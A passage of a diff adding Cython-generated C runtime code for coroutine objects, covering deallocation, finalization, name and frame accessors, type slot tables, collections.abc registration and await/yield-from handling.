Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + 